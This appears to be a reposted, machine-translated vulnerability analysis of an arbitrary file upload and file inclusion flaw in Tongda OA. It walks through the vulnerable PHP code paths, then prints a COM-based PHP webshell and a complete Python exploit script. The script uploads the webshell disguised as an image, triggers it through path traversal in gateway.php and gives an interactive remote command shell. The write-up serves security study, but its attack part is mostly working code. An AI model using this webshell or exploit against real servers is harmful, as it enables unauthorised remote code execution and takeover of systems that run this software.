Detailed analysis of arbitrary file upload vulnerability in Tongda OA

The following article is from Leishi safety laboratory

influence

Scope of influence (but only version V11 and 2017 have php containing files, and other versions can upload files.):

V11 version 2017 version 2016 version 2013 enhanced version 2013 version.

This vulnerability was a few months ago. It is mainly to learn the formation principle and mode process of this vulnerability code.

The vulnerability mainly uploads files by bypassing authentication, and then implements code execution through File Inclusion Vulnerability

code analysis

The source code is encrypted by zend 5.4. Decryption tool:

SeayDzend, you can download it from Baidu

Online decryption

http://dezend.qiling.org/free.html

Key files uploaded from any file

webroot\ispirit\im\upload.php

Code analysis:

You can see that the session is started as long as you judge whether the P parameter is not empty

When there is no P parameter

sometimes

Keep going

Judge dest_ Whether the uid is not empty, otherwise it will exit

Judge dest_ When uid = 0, if upload_ If mode is not equal to 2, exit directly

Judge dest_ Judge directly when uid is not equal to 0$_ Whether the number of FILES is, that is, whether FILES are uploaded

This can be the second case, DEST_UID=0,UPLOAD_MODE=2 for the next step

It can also be dest_ The uid is not 0. Go to the next step

Keep going

You can also judge the upload mode in if language here. Let's see what kinds of upload modes there are. You can see that there are 1,2,3 in total, of which 1,2,3 will be echoed if successful

Upload is set here_ If mode is 1, enter the upload function

We will judge whether the / character, and then judge whether the uploaded file conforms to the uploadable format. Let's continue_ uploadable

You can see that if the upload format is PHP, it will return false. Here, use XXX php. bypass

Looking back, the upload function will eventually return an array of $ATTACHMENTS, including ID, and NAME

Follow up and find that ATTACHMENTS is generated by add_ Generated by the attach function

Follow up

Found the spelling of $FILENAME

When you continue down, you will find the final result of $path and file name

Various tracking findings are under the attch/im/$YM / folder

In fact, it doesn't have to be so complicated. Just upload the file directly, and then search where the file is finally placed. Isn't it finished? Or use the velvet sword analysis behavior and D shield for file monitoring

The parameters required for uploading in combination with the previous analysis are

The echo format is different for different upload modes. The 2 format here is more comfortable. The directory is 2003, and the file name corresponds to the following ID

Because the key here is that there is a File Inclusion Vulnerability in the OA system after uploading the file, RCE can be realized in combination with the File Inclusion Vulnerability

File contains code location

/ispirit/interface/gateway.php

First, it will accept a json data, then convert it into an array, and then traverse the data. If the key is a url, the url corresponds to the value

Then go on

Then go to strpos and you can see that if general /, ispirit and module / appear, the file will trigger the construction of payload

/general/../../attach/im/2003/1191415788.1.php

Since the phpinfo function is disabled and dangerous when I upload, I can write a webshell in the current / ispirit/interface / directory

Remember to prefix the file name here\

Of course, you can also use the COM component bypass function

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

You can also directly use the file containing the matching log getshell

Directly trigger the error log of nginx, and use the file to contain the direct getshell

Using online published scripts:

#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
# oa access file upload plus file contains remote code execution
import requests
import re
import sys

def oa(url):
    upurl = url + '/ispirit/im/upload.php'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"}
    data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\r\n$command=$_POST['cmd'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \".$command);\r\n$stdout = $exec->StdOut();\r\n$stroutput = $stdout->ReadAll();\r\necho $stroutput;\r\n?>\n\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"P\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"DEST_UID\"\r\n\r\n1222222\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668--\r\n"
    req = requests.post(url=upurl, headers=headers, data=data)
    filename = "".join(re.findall("2003_(.+?)\|",req.text))
    in_url = url + '/ispirit/interface/gateway.php'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
    data = "json=
{\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % 
(filename,"echo php00py")
    include_req = requests.post(url=in_url, headers=headers, data=data)
    if  'php00py' in include_req.text:
        print("[+] OA RCE vulnerability ")
        return filename
    else:
        print("[-] Not OA RCE vulnerability ")
        return False
def oa_rce(url, filename,command):
    url = url + '/ispirit/interface/gateway.php'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
    data = "json=
{\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % 
(filename,command)
    req = requests.post(url, headers=headers, data=data)
    print(req.text)

if __name__ == '__main__':
        if len(sys.argv) < 2:
            print("please input your url python oa_rce.py http://127.0.0.1:8181")
        else:
            url = sys.argv[1]
            filename = oa(url)
            while filename:
                try:
                    command = input("wran@shelLhost#")
                    if command == "exit" or command == "quit":
                        break
                    else:
                        oa_rce(url,filename,command)
                except KeyboardInterrupt:
                    break

The script uses COM bypass

Added by bsteimel on Sat, 22 Jan 2022 18:54:37 +0200